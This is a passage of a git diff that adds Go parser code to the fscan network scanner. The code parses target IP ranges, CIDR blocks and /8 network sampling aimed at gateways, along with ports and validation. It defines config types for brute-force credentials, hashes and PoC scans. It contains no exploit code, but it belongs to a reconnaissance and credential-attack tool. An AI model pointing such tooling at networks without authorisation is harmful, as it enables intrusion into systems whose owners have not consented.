append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", hp, err.Error())) + } + } + } + + return hostPorts, errors, warnings +} + +// parseHostList 解析主机列表 +func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) { + if hostStr == "" { + return nil, nil + } + + var hosts []string + hostItems := strings.Split(hostStr, ",") + + for _, item := range hostItems { + item = strings.TrimSpace(item) + if item == "" { + continue + } + + // 检查各种IP格式 + switch { + case item == PrivateNetwork192: + // 常用内网段简写 + cidrHosts, err := tp.parseCIDR(PrivateNetwork192CIDR) + if err != nil { + return nil, fmt.Errorf("192网段解析失败: %v", err) + } + hosts = append(hosts, cidrHosts...) + case item == PrivateNetwork172: + // 常用内网段简写 + cidrHosts, err := tp.parseCIDR(PrivateNetwork172CIDR) + if err != nil { + return nil, fmt.Errorf("172网段解析失败: %v", err) + } + hosts = append(hosts, cidrHosts...) + case item == PrivateNetwork10: + // 常用内网段简写 + cidrHosts, err := tp.parseCIDR(PrivateNetwork10CIDR) + if err != nil { + return nil, fmt.Errorf("10网段解析失败: %v", err) + } + hosts = append(hosts, cidrHosts...) + case strings.HasSuffix(item, "/8"): + // 处理/8网段(使用采样方式) + sampledHosts := tp.parseSubnet8(item) + hosts = append(hosts, sampledHosts...) + case strings.Contains(item, "/"): + // CIDR表示法 + cidrHosts, err := tp.parseCIDR(item) + if err != nil { + return nil, fmt.Errorf("CIDR解析失败 %s: %v", item, err) + } + hosts = append(hosts, cidrHosts...) + case strings.Contains(item, "-"): + // IP范围表示法 + rangeHosts, err := tp.parseIPRange(item) + if err != nil { + return nil, fmt.Errorf("IP范围解析失败 %s: %v", item, err) + } + hosts = append(hosts, rangeHosts...) + default: + // 检查是否为host:port格式 + if strings.Contains(item, ":") { + if _, portStr, err := net.SplitHostPort(item); err == nil { + // 验证端口号 + if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort { + // 这是有效的host:port格式,但在这里仍然作为主机处理 + // 在后续的processHostPorts函数中会被正确处理 + hosts = append(hosts, item) + } else { + // 端口无效,作为普通主机处理 + hosts = append(hosts, item) + } + } else { + // 不是有效的host:port格式,作为普通主机处理 + hosts = append(hosts, item) + } + } else { + // 单个IP或域名 + hosts = append(hosts, item) + } + } + } + + return hosts, nil +} + +// parsePortList 解析端口列表,支持预定义端口组 +func (tp *TargetParser) parsePortList(portStr string) ([]int, error) { + if portStr == "" { + return nil, nil + } + + // 检查是否为预定义端口组 + portStr = tp.expandPortGroups(portStr) + + var ports []int + portItems := strings.Split(portStr, ",") + + for _, item := range portItems { + item = strings.TrimSpace(item) + if item == "" { + continue + } + + if strings.Contains(item, "-") { + // 端口范围 + rangePorts, err := tp.parsePortRange(item) + if err != nil { + return nil, fmt.Errorf("端口范围解析失败 %s: %v", item, err) + } + + // 检查范围大小 + if len(rangePorts) > tp.options.MaxPortRange { + return nil, fmt.Errorf("端口范围过大: %d, 最大允许: %d", len(rangePorts), tp.options.MaxPortRange) + } + + ports = append(ports, rangePorts...) + } else { + // 单个端口 + port, err := strconv.Atoi(item) + if err != nil { + return nil, fmt.Errorf("无效端口号: %s", item) + } + + if port < MinPort || port > MaxPort { + return nil, fmt.Errorf("端口号超出范围: %d", port) + } + + ports = append(ports, port) + } + } + + return ports, nil +} + +// expandPortGroups 展开预定义端口组 +func (tp *TargetParser) expandPortGroups(portStr string) string { + // 使用预定义的端口组 + portGroups := GetTargetPortGroups() + + if expandedPorts, exists := portGroups[portStr]; exists { + return expandedPorts + } + return portStr +} + +// parseCIDR 解析CIDR网段 +func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) { + _, ipNet, err := net.ParseCIDR(cidr) + if err != nil { + return nil, err + } + + var ips []string + ip := make(net.IP, len(ipNet.IP)) + copy(ip, ipNet.IP) + + count := 0 + for ipNet.Contains(ip) { + ips = append(ips, ip.String()) + count++ + + // 防止生成过多IP + if count >= tp.options.MaxTargets { + break + } + + tp.nextIP(ip) + } + + return ips, nil +} + +// parseIPRange 解析IP范围,支持简写格式 +func (tp *TargetParser) parseIPRange(rangeStr string) ([]string, error) { + parts := strings.Split(rangeStr, "-") + if len(parts) != 2 { + return nil, fmt.Errorf("无效的IP范围格式") + } + + startIPStr := strings.TrimSpace(parts[0]) + endIPStr := strings.TrimSpace(parts[1]) + + // 验证起始IP + startIP := net.ParseIP(startIPStr) + if startIP == nil { + return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr) + } + + // 处理简写格式 (如: 192.168.1.1-100) + if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") { + return tp.parseShortIPRange(startIPStr, endIPStr) + } + + // 处理完整格式 (如: 192.168.1.1-192.168.1.100) + endIP := net.ParseIP(endIPStr) + if endIP == nil { + return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr) + } + + return tp.parseFullIPRange(startIP, endIP) +} + +// parseShortIPRange 解析简写格式的IP范围 +func (tp *TargetParser) parseShortIPRange(startIPStr, endSuffix string) ([]string, error) { + // 将结束段转换为数字 + endNum, err := strconv.Atoi(endSuffix) + if err != nil || endNum > MaxIPv4OctetValue { + return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix) + } + + // 分解起始IP + ipParts := strings.Split(startIPStr, ".") + if len(ipParts) != IPv4OctetCount { + return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr) + } + + // 获取前缀和起始IP的最后一部分 + prefixIP := strings.Join(ipParts[0:3], ".") + startNum, err := strconv.Atoi(ipParts[3]) + if err != nil || startNum > endNum { + return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix) + } + + // 生成IP范围 + var allIP []string + for i := startNum; i <= endNum; i++ { + allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i)) + } + + return allIP, nil +} + +// parseFullIPRange 解析完整格式的IP范围 +func (tp *TargetParser) parseFullIPRange(startIP, endIP net.IP) ([]string, error) { + // 转换为IPv4 + start4 := startIP.To4() + end4 := endIP.To4() + if start4 == nil || end4 == nil { + return nil, fmt.Errorf("仅支持IPv4地址范围") + } + + // 计算IP地址的整数表示 + startInt := (int(start4[0]) << IPFirstOctetShift) | (int(start4[1]) << IPSecondOctetShift) | (int(start4[2]) << IPThirdOctetShift) | int(start4[3]) + endInt := (int(end4[0]) << IPFirstOctetShift) | (int(end4[1]) << IPSecondOctetShift) | (int(end4[2]) << IPThirdOctetShift) | int(end4[3]) + + // 检查范围的有效性 + if startInt > endInt { + return nil, fmt.Errorf("起始IP大于结束IP") + } + + // 限制IP范围的大小,防止生成过多IP导致内存问题 + if endInt-startInt > tp.options.MaxTargets { + return nil, fmt.Errorf("IP范围过大,超过最大限制: %d", tp.options.MaxTargets) + } + + // 生成IP范围 + var allIP []string + for ipInt := startInt; ipInt <= endInt; ipInt++ { + ip := fmt.Sprintf("%d.%d.%d.%d", + (ipInt>>IPFirstOctetShift)&IPOctetMask, + (ipInt>>IPSecondOctetShift)&IPOctetMask, + (ipInt>>IPThirdOctetShift)&IPOctetMask, + ipInt&IPOctetMask) + allIP = append(allIP, ip) + } + + return allIP, nil +} + +// parseSubnet8 解析/8网段的IP地址,生成采样IP列表 +func (tp *TargetParser) parseSubnet8(subnet string) []string { + // 去除CIDR后缀获取基础IP + baseIP := subnet[:len(subnet)-2] + if net.ParseIP(baseIP) == nil { + return nil + } + + // 获取/8网段的第一段 + firstOctet := strings.Split(baseIP, ".")[0] + var sampleIPs []string + + // 对常用网段进行更全面的扫描 + commonSecondOctets := GetCommonSecondOctets() + + // 对于每个选定的第二段,采样部分第三段 + for _, secondOctet := range commonSecondOctets { + for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8ThirdOctetStep { + // 添加常见的网关和服务器IP + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet)) // 默认网关 + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, RouterSwitchLastOctet)) // 通常用于路由器/交换机 + + // 随机采样不同范围的主机IP + fourthOctet := tp.randomInt(SamplingMinHost, SamplingMaxHost) + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet)) + } + } + + // 对其他二级网段进行稀疏采样 + for secondOctet := 0; secondOctet < 256; secondOctet += Subnet8SamplingStep { + for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8SamplingStep { + // 对于采样的网段,取几个代表性IP + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet)) + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, tp.randomInt(SamplingMinHost, SamplingMaxHost))) + } + } + + // 限制采样数量 + if len(sampleIPs) > tp.options.MaxTargets { + sampleIPs = sampleIPs[:tp.options.MaxTargets] + } + + return sampleIPs +} + +// randomInt 生成指定范围内的随机整数 +func (tp *TargetParser) randomInt(min, max int) int { + if min >= max || min < 0 || max <= 0 { + return max + } + return min + (max-min)/2 // 简化版本,避免依赖rand +} + +// parsePortRange 解析端口范围 +func (tp *TargetParser) parsePortRange(rangeStr string) ([]int, error) { + parts := strings.Split(rangeStr, "-") + if len(parts) != 2 { + return nil, fmt.Errorf("无效的端口范围格式") + } + + startPort, err1 := strconv.Atoi(strings.TrimSpace(parts[0])) + endPort, err2 := strconv.Atoi(strings.TrimSpace(parts[1])) + + if err1 != nil || err2 != nil { + return nil, fmt.Errorf("无效的端口号") + } + + if startPort > endPort { + startPort, endPort = endPort, startPort + } + + if startPort < MinPort || endPort > MaxPort { + return nil, fmt.Errorf("端口号超出范围") + } + + var ports []int + for port := startPort; port <= endPort; port++ { + ports = append(ports, port) + } + + return ports, nil +} + +// nextIP 获取下一个IP地址 +func (tp *TargetParser) nextIP(ip net.IP) { + for j := len(ip) - 1; j >= 0; j-- { + ip[j]++ + if ip[j] > 0 { + break + } + } +} + +// validateHost 验证主机地址 +func (tp *TargetParser) validateHost(host string) (bool, error) { + if host == "" { + return false, fmt.Errorf("主机地址为空") + } + + // 检查是否为host:port格式 + if strings.Contains(host, ":") { + // 可能是host:port格式,尝试分离 + if h, portStr, err := net.SplitHostPort(host); err == nil { + // 验证端口号 + if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort { + // 递归验证主机部分(不包含端口) + return tp.validateHost(h) + } + } + // 如果不是有效的host:port格式,继续按普通主机地址处理 + } + + // 检查是否为IP地址 + if ip := net.ParseIP(host); ip != nil { + return tp.validateIP(ip) + } + + // 检查是否为域名 + if tp.isValidDomain(host) { + return true, nil + } + + return false, fmt.Errorf("无效的主机地址格式") +} + +// validateIP 验证IP地址 +func (tp *TargetParser) validateIP(ip net.IP) (bool, error) { + if ip == nil { + return false, fmt.Errorf("IP地址为空") + } + + // 检查是否为私有IP + if !tp.options.AllowPrivateIPs && tp.isPrivateIP(ip) { + return false, fmt.Errorf("不允许私有IP地址") + } + + // 检查是否为回环地址 + if !tp.options.AllowLoopback && ip.IsLoopback() { + return false, fmt.Errorf("不允许回环地址") + } + + return true, nil +} + +// validateURL 验证URL +func (tp *TargetParser) validateURL(rawURL string) (bool, error) { + if rawURL == "" { + return false, fmt.Errorf("URL为空") + } + + if !tp.options.ValidateURLs { + return true, nil + } + + if !tp.urlRegex.MatchString(rawURL) { + return false, fmt.Errorf("URL格式无效") + } + + // 进一步验证URL格式 + _, err := url.Parse(rawURL) + if err != nil { + return false, fmt.Errorf("URL解析失败: %v", err) + } + + return true, nil +} + +// validateHostPort 验证主机端口组合 +func (tp *TargetParser) validateHostPort(hostPort string) (bool, error) { + parts := strings.Split(hostPort, ":") + if len(parts) != 2 { + return false, fmt.Errorf("主机端口格式无效,应为 host:port") + } + + host := strings.TrimSpace(parts[0]) + portStr := strings.TrimSpace(parts[1]) + + // 验证主机 + if valid, err := tp.validateHost(host); !valid { + return false, fmt.Errorf("主机无效: %v", err) + } + + // 验证端口 + port, err := strconv.Atoi(portStr) + if err != nil { + return false, fmt.Errorf("端口号无效: %s", portStr) + } + + if port < MinPort || port > MaxPort { + return false, fmt.Errorf("端口号超出范围: %d", port) + } + + return true, nil +} + +// isPrivateIP 检查是否为私有IP +func (tp *TargetParser) isPrivateIP(ip net.IP) bool { + if ip4 := ip.To4(); ip4 != nil { + // 10.0.0.0/8 + if ip4[0] == 10 { + return true + } + // 172.16.0.0/12 + if ip4[0] == 172 && ip4[1] >= Private172StartSecondOctet && ip4[1] <= Private172EndSecondOctet { + return true + } + // 192.168.0.0/16 + if ip4[0] == 192 && ip4[1] == Private192SecondOctet { + return true + } + } + return false +} + +// isValidDomain 检查是否为有效域名 +func (tp *TargetParser) isValidDomain(domain string) bool { + return CompiledDomainRegex.MatchString(domain) && len(domain) <= MaxDomainLength +} + +// excludeHosts 排除指定主机 +func (tp *TargetParser) excludeHosts(hosts, excludeList []string) []string { + excludeMap := make(map[string]struct{}) + for _, exclude := range excludeList { + excludeMap[exclude] = struct{}{} + } + + var result []string + for _, host := range hosts { + if _, excluded := excludeMap[host]; !excluded { + result = append(result, host) + } + } + + return result +} + +// removeDuplicateStrings 去重字符串切片 +func (tp *TargetParser) removeDuplicateStrings(slice []string) []string { + seen := make(map[string]struct{}) + var result []string + + for _, item := range slice { + if _, exists := seen[item]; !exists { + seen[item] = struct{}{} + result = append(result, item) + } + } + + return result +} + +// removeDuplicatePorts 去重端口切片 +func (tp *TargetParser) removeDuplicatePorts(slice []int) []int { + seen := make(map[int]struct{}) + var result []int + + for _, item := range slice { + if _, exists := seen[item]; !exists { + seen[item] = struct{}{} + result = append(result, item) + } + } + + return result +} + +// generateStatistics 生成统计信息 +func (tp *TargetParser) generateStatistics(hosts, urls []string, ports, excludePorts []int) *TargetStatistics { + return &TargetStatistics{ + TotalHosts: len(hosts), + TotalURLs: len(urls), + TotalPorts: len(ports), + ExcludedPorts: len(excludePorts), + } +} + +// ============================================================================================= +// 已删除的死代码(未使用):Validate 和 GetStatistics 方法 +// ============================================================================================= \ No newline at end of file diff --git a/common/parsers/Types.go b/common/parsers/Types.go new file mode 100644 index 0000000..e5cc3b3 --- /dev/null +++ b/common/parsers/Types.go @@ -0,0 +1,163 @@ +package parsers + +import ( + "errors" + "fmt" + "time" + + "github.com/shadow1ng/fscan/common/i18n" +) + +// ParsedConfig 解析后的完整配置 +type ParsedConfig struct { + Targets *TargetConfig `json:"targets"` + Credentials *CredentialConfig `json:"credentials"` + Network *NetworkConfig `json:"network"` + Validation *ValidationConfig `json:"validation"` +} + +// TargetConfig 目标配置 +type TargetConfig struct { + Hosts []string `json:"hosts"` + URLs []string `json:"urls"` + Ports []int `json:"ports"` + ExcludePorts []int `json:"exclude_ports"` + HostPorts []string `json:"host_ports"` + LocalMode bool `json:"local_mode"` + Statistics *TargetStatistics `json:"statistics,omitempty"` +} + +// TargetStatistics 目标解析统计 +type TargetStatistics struct { + TotalHosts int `json:"total_hosts"` + TotalURLs int `json:"total_urls"` + TotalPorts int `json:"total_ports"` + ExcludedHosts int `json:"excluded_hosts"` + ExcludedPorts int `json:"excluded_ports"` +} + +// CredentialConfig 认证配置 +type CredentialConfig struct { + Usernames []string `json:"usernames"` + Passwords []string `json:"passwords"` + HashValues []string `json:"hash_values"` + HashBytes [][]byte `json:"hash_bytes,omitempty"` + SshKeyPath string `json:"ssh_key_path"` + Domain string `json:"domain"` + Statistics *CredentialStats `json:"statistics,omitempty"` +} + +// CredentialStats 认证配置统计 +type CredentialStats struct { + TotalUsernames int `json:"total_usernames"` + TotalPasswords int `json:"total_passwords"` + TotalHashes int `json:"total_hashes"` + UniqueUsernames int `json:"unique_usernames"` + UniquePasswords int `json:"unique_passwords"` + ValidHashes int `json:"valid_hashes"` + InvalidHashes int `json:"invalid_hashes"` +} + +// NetworkConfig 网络配置 +type NetworkConfig struct { + HttpProxy string `json:"http_proxy"` + Socks5Proxy string `json:"socks5_proxy"` + Timeout time.Duration `json:"timeout"` + WebTimeout time.Duration `json:"web_timeout"` + DisablePing bool `json:"disable_ping"` + EnableDNSLog bool `json:"enable_dns_log"` + UserAgent string `json:"user_agent"` + Cookie string `json:"cookie"` +} + +// ValidationConfig 验证配置 +type ValidationConfig struct { + ScanMode string `json:"scan_mode"` + ConflictChecked bool `json:"conflict_checked"` + Errors []error `json:"errors,omitempty"` + Warnings []string `json:"warnings,omitempty"` +} + +// ParseResult 解析结果 +type ParseResult struct { + Config *ParsedConfig `json:"config"` + Success bool `json:"success"` + Errors []error `json:"errors,omitempty"` + Warnings []string `json:"warnings,omitempty"` + ParseTime time.Duration `json:"parse_time"` +} + +// 预定义错误类型 +var ( + ErrEmptyInput = errors.New(i18n.GetText("parser_empty_input")) +) + +// ParserOptions 解析器选项 +type ParserOptions struct { + EnableConcurrency bool // 启用并发解析 + MaxWorkers int // 最大工作协程数 + Timeout time.Duration // 解析超时时间 + EnableValidation bool // 启用详细验证 + EnableStatistics bool // 启用统计信息 + IgnoreErrors bool // 忽略非致命错误 + FileMaxSize int64 // 文件最大大小限制 + MaxTargets int // 最大目标数量限制 +} + +// DefaultParserOptions 返回默认解析器选项 +func DefaultParserOptions() *ParserOptions { + return &ParserOptions{ + EnableConcurrency: DefaultEnableConcurrency, + MaxWorkers: DefaultMaxWorkers, + Timeout: DefaultTimeout, + EnableValidation: DefaultEnableValidation, + EnableStatistics: DefaultEnableStatistics, + IgnoreErrors: DefaultIgnoreErrors, + FileMaxSize: DefaultFileMaxSize, + MaxTargets: DefaultMaxTargets, + } +} + +// Parser 解析器接口 +type Parser interface { + Parse(options *ParserOptions) (*ParseResult, error) + Validate() error + GetStatistics() interface{} +} + +// FileSource 文件源 +type FileSource struct { + Path string `json:"path"` + Size int64 `json:"size"` + ModTime time.Time `json:"mod_time"` + LineCount int `json:"line_count"` + ValidLines int `json:"valid_lines"` +} + +// ParseError 解析错误,包含详细上下文 +type ParseError struct { + Type string `json:"type"` + Message string `json:"message"` + Source string `json:"source"` + Line int `json:"line,omitempty"` + Context string `json:"context,omitempty"` + Original error `json:"original,omitempty"` +} + +func (e *ParseError) Error() string { + if e.Line > 0 { + return fmt.Sprintf("%s:%d - %s: %s", e.Source, e.Line, e.Type, e.Message) + } + return fmt.Sprintf("%s - %s: %s", e.Source, e.Type, e.Message) +} + +// NewParseError 创建解析错误 +func NewParseError(errType, message, source string, line int, original error) *ParseError { + return &ParseError{ + Type: errType, + Message: message, + Source: source, + Line: line, + Original: original, + } +} diff --git a/common/parsers/ValidationParser.go b/common/parsers/ValidationParser.go new file mode 100644 index 0000000..4bf6e3b --- /dev/null +++ b/common/parsers/ValidationParser.go @@ -0,0 +1,293 @@ +package parsers + +import ( + "fmt" + "sync" + "time" +) + +// ValidationParser 参数验证解析器 +type ValidationParser struct { + mu sync.RWMutex //nolint:unused // reserved for future thread safety + options *ValidationParserOptions +} + +// ValidationParserOptions 验证解析器选项 +type ValidationParserOptions struct { + StrictMode bool `json:"strict_mode"` // 严格模式 + AllowEmpty bool `json:"allow_empty"` // 允许空配置 + CheckConflicts bool `json:"check_conflicts"` // 检查参数冲突 + ValidateTargets bool `json:"validate_targets"` // 验证目标有效性 + ValidateNetwork bool `json:"validate_network"` // 验证网络配置 + MaxErrorCount int `json:"max_error_count"` // 最大错误数量 +} + +// DefaultValidationParserOptions 默认验证解析器选项 +func DefaultValidationParserOptions() *ValidationParserOptions { + return &ValidationParserOptions{ + StrictMode: DefaultStrictMode, + AllowEmpty: DefaultAllowEmpty, + CheckConflicts: DefaultCheckConflicts, + ValidateTargets: DefaultValidateTargets, + ValidateNetwork: DefaultValidateNetwork, + MaxErrorCount: DefaultMaxErrorCount, + } +} + +// NewValidationParser 创建验证解析器 +func NewValidationParser(options *ValidationParserOptions) *ValidationParser { + if options == nil { + options = DefaultValidationParserOptions() + } + + return &ValidationParser{ + options: options, + } +} + +// ValidationInput 验证输入参数 +type ValidationInput struct { + // 扫描模式 + ScanMode string `json:"scan_mode"` + LocalMode bool `json:"local_mode"` + + // 目标配置 + HasHosts bool `json:"has_hosts"` + HasURLs bool `json:"has_urls"` + HasPorts bool `json:"has_ports"` + + // 网络配置 + HasProxy bool `json:"has_proxy"` + DisablePing bool `json:"disable_ping"` + + // 凭据配置 + HasCredentials bool `json:"has_credentials"` + + // 特殊模式 + PocScan bool `json:"poc_scan"` + BruteScan bool `json:"brute_scan"` + LocalScan bool `json:"local_scan"` +} + +// ConflictRule 冲突规则 +type ConflictRule struct { + Name string `json:"name"` + Description string `json:"description"` + Fields []string `json:"fields"` + Severity string `json:"severity"` // error, warning, info +} + +// ValidationRule 验证规则 +type ValidationRule struct { + Name string `json:"name"` + Description string `json:"description"` + Validator func(input *ValidationInput) error `json:"-"` + Severity string `json:"severity"` +} + +// Parse 执行参数验证 +func (vp *ValidationParser) Parse(input *ValidationInput, config *ParsedConfig, options *ParserOptions) (*ParseResult, error) { + if input == nil { + return nil, NewParseError(ErrorTypeInputError, "验证输入为空", "", 0, ErrEmptyInput) + } + + startTime := time.Now() + result := &ParseResult{ + Config: &ParsedConfig{ + Validation: &ValidationConfig{ + ScanMode: input.ScanMode, + ConflictChecked: true, + }, + }, + Success: true, + } + + var errors []error + var warnings []string + + // 基础验证 + basicErrors, basicWarnings := vp.validateBasic(input) + errors = append(errors, basicErrors...) + warnings = append(warnings, basicWarnings...) + + // 冲突检查 + if vp.options.CheckConflicts { + conflictErrors, conflictWarnings := vp.checkConflicts(input) + errors = append(errors, conflictErrors...) + warnings = append(warnings, conflictWarnings...) + } + + // 逻辑验证 + logicErrors, logicWarnings := vp.validateLogic(input, config) + errors = append(errors, logicErrors...) + warnings = append(warnings, logicWarnings...) + + + // 性能建议 + performanceWarnings := vp.checkPerformance(input, config) + warnings = append(warnings, performanceWarnings...) + + // 检查错误数量限制 + if len(errors) > vp.options.MaxErrorCount { + errors = errors[:vp.options.MaxErrorCount] + warnings = append(warnings, fmt.Sprintf("错误数量过多,仅显示前%d个", vp.options.MaxErrorCount)) + } + + // 更新结果 + result.Config.Validation.Errors = errors + result.Config.Validation.Warnings = warnings + result.Errors = errors + result.Warnings = warnings + result.ParseTime = time.Since(startTime) + result.Success = len(errors) == 0 + + return result, nil +} + +// validateBasic 基础验证 +func (vp *ValidationParser) validateBasic(input *ValidationInput) ([]error, []string) { + var errors []error + var warnings []string + + // 检查是否有任何目标 + if !input.HasHosts && !input.HasURLs && !input.LocalMode { + if !vp.options.AllowEmpty { + errors = append(errors, NewParseError("VALIDATION_ERROR", "未指定任何扫描目标", "basic", 0, nil)) + } else { + warnings = append(warnings, "未指定扫描目标,将使用默认配置") + } + } + + // 检查扫描模式 + if input.ScanMode != "" { + if err := vp.validateScanMode(input.ScanMode); err != nil { + if vp.options.StrictMode { + errors = append(errors, err) + } else { + warnings = append(warnings, err.Error()) + } + } + } + + return errors, warnings +} + +// checkConflicts 检查参数冲突 +func (vp *ValidationParser) checkConflicts(input *ValidationInput) ([]error, []string) { + var errors []error + var warnings []string + + // 定义冲突规则 (预留用于扩展) + _ = []ConflictRule{ + { + Name: "multiple_scan_modes", + Description: "不能同时使用多种扫描模式", + Fields: []string{"hosts", "urls", "local_mode"}, + Severity: "error", + }, + { + Name: "proxy_with_ping", + Description: "使用代理时建议禁用Ping检测", + Fields: []string{"proxy", "ping"}, + Severity: "warning", + }, + } + + // 检查扫描模式冲突 + scanModes := 0 + if input.HasHosts { + scanModes++ + } + if input.HasURLs { + scanModes++ + } + if input.LocalMode { + scanModes++ + } + + if scanModes > 1 { + errors = append(errors, NewParseError("CONFLICT_ERROR", + "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)", "validation", 0, nil)) + } + + // 检查代理和Ping冲突 + if input.HasProxy && !input.DisablePing { + warnings = append(warnings, "代理模式下Ping检测可能失效") + } + + return errors, warnings +} + +// validateLogic 逻辑验证 +func (vp *ValidationParser) validateLogic(input *ValidationInput, config *ParsedConfig) ([]error, []string) { + var errors []error + var warnings []string + + // 验证目标配置逻辑 + if vp.options.ValidateTargets && config != nil && config.Targets != nil { + + // 检查排除端口配置 + if len(config.Targets.ExcludePorts) > 0 && len(config.Targets.Ports) == 0 { + warnings = append(warnings, "排除端口无效") + } + } + + + return errors, warnings +} + + +// checkPerformance 性能检查 +func (vp *ValidationParser) checkPerformance(input *ValidationInput, config *ParsedConfig) []string { + var warnings []string + + if config == nil { + return warnings + } + + // 检查目标数量 + if config.Targets != nil { + totalTargets := len(config.Targets.Hosts) * len(config.Targets.Ports) + if totalTargets > MaxTargetsThreshold { + warnings = append(warnings, fmt.Sprintf("大量目标(%d),可能耗时较长", totalTargets)) + } + + // 检查端口范围 + if len(config.Targets.Ports) > DefaultMaxPortRange { + warnings = append(warnings, "端口数量过多") + } + } + + // 检查超时配置 + if config.Network != nil { + if config.Network.Timeout < MinTimeoutThreshold { + warnings = append(warnings, "超时过短") + } + if config.Network.Timeout > MaxTimeoutThreshold { + warnings = append(warnings, "超时过长") + } + } + + return warnings +} + +// validateScanMode 验证扫描模式 +func (vp *ValidationParser) validateScanMode(scanMode string) error { + validModes := []string{"all", "icmp"} + + // 检查是否为预定义模式 + for _, mode := range validModes { + if scanMode == mode { + return nil + } + } + + // 允许插件名称作为扫描模式,实际插件验证在运行时进行 + // 这里不做严格验证,避免维护两套插件列表 + return nil +} + + +// ============================================================================================= +// 已删除的死代码(未使用):Validate 和 GetStatistics 方法 +// ============================================================================================= \ No newline at end of file diff --git a/common/parsers/constants.go b/common/parsers/constants.go new file mode 100644 index 0000000..42f1e4a --- /dev/null +++ b/common/parsers/constants.go @@ -0,0 +1,276 @@ +package parsers + +import ( + "regexp" + "time" + + "github.com/shadow1ng/fscan/common/base" +) + +/* +constants.go - 解析器系统常量定义 + +统一管理common/parsers包中的所有常量,便于查看和编辑。 +*/ + +// ============================================================================= +// 默认解析器选项常量 (从Types.go迁移) +// ============================================================================= + +const ( + // 解析器默认配置 + DefaultEnableConcurrency = true + DefaultMaxWorkers = 4 + DefaultTimeout = 30 * time.Second + DefaultEnableValidation = true + DefaultEnableStatistics = true + DefaultIgnoreErrors = false + DefaultFileMaxSize = 100 * 1024 * 1024 // 100MB + DefaultMaxTargets = 10000 // 10K targets +) + +// ============================================================================= +// 文件读取器常量 (从FileReader.go迁移) +// ============================================================================= + +const ( + // 文件读取器默认配置 + DefaultMaxCacheSize = 10 + DefaultEnableCache = true + DefaultFileReaderMaxFileSize = 50 * 1024 * 1024 // 50MB + DefaultFileReaderTimeout = 30 * time.Second + DefaultFileReaderEnableValidation = true + DefaultTrimSpace = true + DefaultSkipEmpty = true + DefaultSkipComments = true + + // 文件内容验证 + MaxLineLength = 1000 // 单行最大字符数 + MaxValidRune = 32 // 最小有效字符ASCII值 + TabRune = 9 // Tab字符 + NewlineRune = 10 // 换行符 + CarriageReturnRune = 13 // 回车符 + CommentPrefix = "#" // 注释前缀 +) + +// ============================================================================= +// 凭据解析器常量 (从CredentialParser.go迁移) +// ============================================================================= + +const ( + // 凭据验证限制 + DefaultMaxUsernameLength = 64 + DefaultMaxPasswordLength = 128 + DefaultAllowEmptyPasswords = true + DefaultValidateHashes = true + DefaultDeduplicateUsers = true + DefaultDeduplicatePasswords = true + DefaultCredentialsEnableStatistics = true + + // 哈希验证 + HashRegexPattern = `^[a-fA-F0-9]{32}$` // MD5哈希正则表达式 + HashValidationLength = 32 // 有效哈希长度 + InvalidUsernameChars = "\r\n\t" // 无效用户名字符 +) + +// ============================================================================= +// 网络解析器常量 (从NetworkParser.go迁移) +// ============================================================================= + +const ( + // 网络配置默认值 + DefaultValidateProxies = true + DefaultAllowInsecure = false + DefaultNetworkTimeout = 30 * time.Second + DefaultWebTimeout = 10 * time.Second + DefaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + + // 超时限制 + MaxTimeoutSeconds = 300 // 最大超时5分钟 + MaxWebTimeoutSeconds = 120 // 最大Web超时2分钟 + + // 字符串长度限制 + MaxUserAgentLength = 512 // 最大用户代理长度 + MaxCookieLength = 4096 // 最大Cookie长度 + + // 代理快捷配置 + ProxyShortcut1 = "1" + ProxyShortcut2 = "2" + ProxyShortcutHTTP = "http://127.0.0.1:8080" + ProxyShortcutSOCKS5 = "socks5://127.0.0.1:1080" + + // 协议支持 + ProtocolHTTP = "http" + ProtocolHTTPS = "https" + ProtocolSOCKS5 = "socks5" + ProtocolPrefix = "://" + SOCKS5Prefix = "socks5://" + HTTPPrefix = "http://" + + // 端口范围 + MinPort = 1 + MaxPort = 65535 + + // 无效字符集 + InvalidUserAgentChars = "\r\n\t" +) + +// GetCommonBrowsers 获取常见浏览器标识列表 +func GetCommonBrowsers() []string { + return []string{ + "Mozilla", "Chrome", "Safari", "Firefox", "Edge", "Opera", + "AppleWebKit", "Gecko", "Trident", "Presto", + } +} + +// ============================================================================= +// 目标解析器常量 (从TargetParser.go迁移) +// ============================================================================= + +const ( + // 目标解析器默认配置 + DefaultTargetMaxTargets = 10000 + DefaultMaxPortRange = 1000 + DefaultAllowPrivateIPs = true + DefaultAllowLoopback = true + DefaultValidateURLs = true + DefaultResolveDomains = false + DefaultTargetEnableStatistics = true + + // 正则表达式模式 + IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$` + PortRangeRegexPattern = `^(\d+)(-(\d+))?$` + URLValidationRegexPattern = `^https?://[^\s]+$` + DomainRegexPattern = 